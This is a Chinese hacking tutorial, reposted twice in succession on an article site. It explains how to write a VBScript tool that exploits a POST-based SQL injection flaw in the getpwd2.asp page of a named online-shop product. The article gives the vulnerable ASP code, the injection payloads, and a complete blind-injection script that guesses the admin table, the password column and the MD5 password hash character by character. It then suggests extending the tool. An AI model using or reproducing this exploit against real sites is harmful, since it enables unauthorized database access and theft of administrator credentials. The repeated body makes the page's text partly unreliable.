谈VBS在Hacking中的作用———SQL Inject中的应用
程序员文章站
2022-05-12 23:45:55
平常我们遇到有注入漏洞一类的网站大部分人都是用NBSI Or 阿D一类的注射工具。但有的站点的注射点很难构造,或者说注射语句比较特殊。如果用手工去注射的话,费时又费力!但自己写针... 08-10-08...
平常我们遇到有注入漏洞一类的网站大部分人都是用nbsi or 阿d一类的注射工具。但有的站点的注射点很难构造,或者说注射语句比较特殊。如果用手工去注射的话,费时又费力!但自己写针对性的工具的话,对一些刚入门不久或不会编程的朋友来说,实在是一件很痛苦的事情。因此今天np给大家带来的文章就是讲如何用简单的vbs脚本来打造我们所要的注射工具。
在您继续看这篇文章之前,我先大胆的假设此时的您已经学会了vbs脚本的基础知识以及基本的sql inject知识。
首先,我们先来看一段有漏洞的代码。(此代码摘自“网趣网上购物系统时尚版 v3.2”的getpwd2.asp的片段)
<!--#include file="conn.asp" -->
<!--#include file="config.asp" -->
<%
username=request.form("username")
set rs=server.createobject("adodb.recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
if rs.eof then
%>
已知管理员表为admin 密码字段为password
有经验的朋友可以很清楚的看到第6句的sql语句把没有经过任何过滤的username变量,直接提交执行了。这是一个很经典的sql inject漏洞。那么我们如何去利用这个漏洞呢?
由于username变量是用request.form获取的,而我们知道request.form只接受post提交上来的数据,因此我们不能像往常一样构造如下语句进行注射了。
http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''='
//直接在url地址栏输入的话,由于是get提交数据,getpwd2.asp是不会接收数据的。
看到这,您或许会说,那用nbsi中的post提交功能呢?
经过测试把http://127.0.0.1/getpwd2.asp?username= 填入nbsi地址栏,使用post提交,nbsi会说“注入破解失败”
由于语句的关系,nbsi无法帮我们跑出相关密码。阿d就不用说了,全用get…也无法帮我们完成任务.
现在我们再测试下手工注射!
我们将如下语句填入getpwd.asp的表单中:
' or 0<>(select count(*) from admin) and ''='
返回正确提示,说明我们注射成功!
ok,架设的环境已经大体分析清楚了….我们开始进入主题.
vbs 的注射脚本需要用到xmlhttp组件和adodb.stream组件,请确保您机器上存在这两个组件!(默认系统自带,但由于去年adodb.stream网页木马的事件,很多机器的 adodb.stream组件被删除了,所以写此注射脚本时,请保证该组件可以使用)
on error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then
wscript.echo "execute it under the cmd.exe plz! thx."
wscript.quit
end if
‘//上面的if语句是判断脚本执行程序是否为wscript.exe,如果是则提示对方到cmd下执行
url=lcase(trim(wscript.arguments(0)))
‘//简单过滤提交参数的两边空格以及转换成全小写.
rightw = "这个用户没有注册"
‘//这个是定义判断猜对与否的关键字
if url <> "" then
'猜解管理员表
data = "' or 0<>(select count(*) from admin) and ''='"
gethttppage(url)
if len(gethttppage(url)) <5 then
wscript.echo "error...please checking the url!"
wscript.quit
end if
‘//上面这个if语句,主要是判断反馈信息,如果反馈信息的长度少于5,那说明提交的url有问题,需要退出重新检查后再注射.
if instr(gethttppage(url), rightw) = 0 then
wscript.echo "table name ""admin"" find"
else
wscript.echo "not found table name ...exit..."
wscript.quit
end if
‘//如果发现关键字,则报告表名猜解正确,否则退出!
'猜解密码字段
data ="' or 0<>(select count(password) from admin) and ''='"
gethttppage(url)
if instr(gethttppage(url), rightw) = 0 then
wscript.echo ""
wscript.echo "the column name ""password"" find"
else
wscript.echo "not found column name ...exit..."
wscript.quit
end if
‘//猜解密码字段亦同!
'猜解密码
wscript.echo ""
wscript.echo "start guessing,waiting... ..."
wscript.echo ""
pwd=""
strings="0123456789abcdef" '定义密码范围(构成md5值的主要字符)
for i=1 to 16 step 1
wscript.echo "guessing
no. "&i&"... ..."
for k=1 to len(strings) step 1
data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='"
gethttppage(url)
if instr(gethttppage(url), rightw) = 0 then
pwd = pwd&mid(strings,k,1)
exit for
end if
next
next
‘//此脚本之精华之处,嵌套循环猜解密码!
‘//依次取密码与构成md5的主要16个字符的asc值进行对比
‘//正确则给pwd附值并跳出单循环,继续下一个猜解
wscript.echo "--------------------------------------------------------------------------------"
wscript.echo "guessing over!!!"
if error then
wscript.echo "error:" & error.description
error.clear
else
wscript.echo "password is:" & pwd
end if
‘//输出已经猜解成功的密码
else
wscript.echo "--------------------------------------------------------------------------------"
wscript.echo "e.g
cscript getpass.vbs http://127.0.0.1/getpwd2.asp"
wscript.echo "--------------------------------------------------------------------------------"
end if
‘//以下是注射的post提交函数
‘//用adodb.stream转换编码,速度比较快,对于反馈数据多的站点比较有优势!
function gethttppage(url)
dim xmlhttp
set xmlhttp=createobject("msxml2.xmlhttp")
xmlhttp.open "post",url,false
xmlhttp.setrequestheader "content-type","application/x-www-form-urlencoded"
xmlhttp.send("username="&data)
if xmlhttp.readystate<>4 then exit function
gethttppage=bytes2bstr(xmlhttp.responsebody)
set xmlhttp=nothing
if err.number<>0 then err.clear
end function
function bytes2bstr(vin)
dim bytesstream,stringreturn
set bytesstream = createobject("adodb.stream")
bytesstream.type = 2
bytesstream.open
bytesstream.writetext vin
bytesstream.position = 0
bytesstream.charset = "gb2312"
bytesstream.position = 2
stringreturn =bytesstream.readtext
bytesstream.close
set bytesstream = nothing
bytes2bstr = stringreturn
end function
注意事项:要提交的sql语句,空格需要用加号替换,否则在有的机器上无法猜解!
以上就是我们自己针对性打造的注射工具了.
使用方法也很简单,在cmd下执行
cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么样?是不是很简单呢?
您或许还会说,为什么没猜管理员的用户名字段和相关id呢?呵呵,这就留个大家当作业吧.
您可以添加如下功能:
自动判断管理员的用户名字段
自动判断管理员的用户名所在的有效id值
可猜解指定的id.
更深入的过滤及检测url是否有效.
多说无意…行动最实际! go go go…开始打造你自己的注射程序
在您继续看这篇文章之前,我先大胆的假设此时的您已经学会了vbs脚本的基础知识以及基本的sql inject知识。
首先,我们先来看一段有漏洞的代码。(此代码摘自“网趣网上购物系统时尚版 v3.2”的getpwd2.asp的片段)
<!--#include file="conn.asp" -->
<!--#include file="config.asp" -->
<%
username=request.form("username")
set rs=server.createobject("adodb.recordset")
sql="select * from [user] where username='"&username&"' "
rs.open sql,conn,1,1
if rs.eof then
%>
已知管理员表为admin 密码字段为password
有经验的朋友可以很清楚的看到第6句的sql语句把没有经过任何过滤的username变量,直接提交执行了。这是一个很经典的sql inject漏洞。那么我们如何去利用这个漏洞呢?
由于username变量是用request.form获取的,而我们知道request.form只接受post提交上来的数据,因此我们不能像往常一样构造如下语句进行注射了。
http://127.0.0.1/getpwd2.asp?username=' or 0<>(select count(*) from admin) and ''='
//直接在url地址栏输入的话,由于是get提交数据,getpwd2.asp是不会接收数据的。
看到这,您或许会说,那用nbsi中的post提交功能呢?
经过测试把http://127.0.0.1/getpwd2.asp?username= 填入nbsi地址栏,使用post提交,nbsi会说“注入破解失败”
由于语句的关系,nbsi无法帮我们跑出相关密码。阿d就不用说了,全用get…也无法帮我们完成任务.
现在我们再测试下手工注射!
我们将如下语句填入getpwd.asp的表单中:
' or 0<>(select count(*) from admin) and ''='
返回正确提示,说明我们注射成功!
ok,架设的环境已经大体分析清楚了….我们开始进入主题.
vbs 的注射脚本需要用到xmlhttp组件和adodb.stream组件,请确保您机器上存在这两个组件!(默认系统自带,但由于去年adodb.stream网页木马的事件,很多机器的 adodb.stream组件被删除了,所以写此注射脚本时,请保证该组件可以使用)
on error resume next
if (lcase(right(wscript.fullname,11))="wscript.exe") then
wscript.echo "execute it under the cmd.exe plz! thx."
wscript.quit
end if
‘//上面的if语句是判断脚本执行程序是否为wscript.exe,如果是则提示对方到cmd下执行
url=lcase(trim(wscript.arguments(0)))
‘//简单过滤提交参数的两边空格以及转换成全小写.
rightw = "这个用户没有注册"
‘//这个是定义判断猜对与否的关键字
if url <> "" then
'猜解管理员表
data = "' or 0<>(select count(*) from admin) and ''='"
gethttppage(url)
if len(gethttppage(url)) <5 then
wscript.echo "error...please checking the url!"
wscript.quit
end if
‘//上面这个if语句,主要是判断反馈信息,如果反馈信息的长度少于5,那说明提交的url有问题,需要退出重新检查后再注射.
if instr(gethttppage(url), rightw) = 0 then
wscript.echo "table name ""admin"" find"
else
wscript.echo "not found table name ...exit..."
wscript.quit
end if
‘//如果发现关键字,则报告表名猜解正确,否则退出!
'猜解密码字段
data ="' or 0<>(select count(password) from admin) and ''='"
gethttppage(url)
if instr(gethttppage(url), rightw) = 0 then
wscript.echo ""
wscript.echo "the column name ""password"" find"
else
wscript.echo "not found column name ...exit..."
wscript.quit
end if
‘//猜解密码字段亦同!
'猜解密码
wscript.echo ""
wscript.echo "start guessing,waiting... ..."
wscript.echo ""
pwd=""
strings="0123456789abcdef" '定义密码范围(构成md5值的主要字符)
for i=1 to 16 step 1
wscript.echo "guessing
no. "&i&"... ..."
for k=1 to len(strings) step 1
data ="' or (select asc(mid(password,"&i&",1)) from admin where adminid=4)=asc("""&mid(strings,k,1)&""") and ''='"
gethttppage(url)
if instr(gethttppage(url), rightw) = 0 then
pwd = pwd&mid(strings,k,1)
exit for
end if
next
next
‘//此脚本之精华之处,嵌套循环猜解密码!
‘//依次取密码与构成md5的主要16个字符的asc值进行对比
‘//正确则给pwd附值并跳出单循环,继续下一个猜解
wscript.echo "--------------------------------------------------------------------------------"
wscript.echo "guessing over!!!"
if error then
wscript.echo "error:" & error.description
error.clear
else
wscript.echo "password is:" & pwd
end if
‘//输出已经猜解成功的密码
else
wscript.echo "--------------------------------------------------------------------------------"
wscript.echo "e.g
cscript getpass.vbs http://127.0.0.1/getpwd2.asp"
wscript.echo "--------------------------------------------------------------------------------"
end if
‘//以下是注射的post提交函数
‘//用adodb.stream转换编码,速度比较快,对于反馈数据多的站点比较有优势!
function gethttppage(url)
dim xmlhttp
set xmlhttp=createobject("msxml2.xmlhttp")
xmlhttp.open "post",url,false
xmlhttp.setrequestheader "content-type","application/x-www-form-urlencoded"
xmlhttp.send("username="&data)
if xmlhttp.readystate<>4 then exit function
gethttppage=bytes2bstr(xmlhttp.responsebody)
set xmlhttp=nothing
if err.number<>0 then err.clear
end function
function bytes2bstr(vin)
dim bytesstream,stringreturn
set bytesstream = createobject("adodb.stream")
bytesstream.type = 2
bytesstream.open
bytesstream.writetext vin
bytesstream.position = 0
bytesstream.charset = "gb2312"
bytesstream.position = 2
stringreturn =bytesstream.readtext
bytesstream.close
set bytesstream = nothing
bytes2bstr = stringreturn
end function
注意事项:要提交的sql语句,空格需要用加号替换,否则在有的机器上无法猜解!
以上就是我们自己针对性打造的注射工具了.
使用方法也很简单,在cmd下执行
cscript getpass.vbs http://127.0.0.1/getpwd2.asp 即可!
怎么样?是不是很简单呢?
您或许还会说,为什么没猜管理员的用户名字段和相关id呢?呵呵,这就留个大家当作业吧.
您可以添加如下功能:
自动判断管理员的用户名字段
自动判断管理员的用户名所在的有效id值
可猜解指定的id.
更深入的过滤及检测url是否有效.
多说无意…行动最实际! go go go…开始打造你自己的注射程序
上一篇: 百度谷歌等搜索引擎的工作原理及网站收录网页提交入口地址
下一篇: 3dmax两个物体轴心怎么重合?
推荐阅读
-
举例讲解设计模式中的原型模式在iOS应用开发中的作用
-
举例讲解设计模式中的原型模式在iOS应用开发中的作用
-
谈VBS在Hacking中的作用———SQL Inject中的应用
-
Websphere Application Server (WAS) 中应用的哪一个 web.xml 在起作用 WebXMLWebsphere应用服务器Tomcat
-
Websphere Application Server (WAS) 中应用的哪一个 web.xml 在起作用 WebXMLWebsphere应用服务器Tomcat
-
JavaScript中this的用法及this在不同应用场景的作用解析
-
环境变量在Hacking中的应用
-
系列文章-随机数在密码学中的作用(二)应用介绍2
-
谈PHP闭包特性在实际应用中的问题(1)
-
谈PHP 闭包特性在实际应用中的问题_PHP教程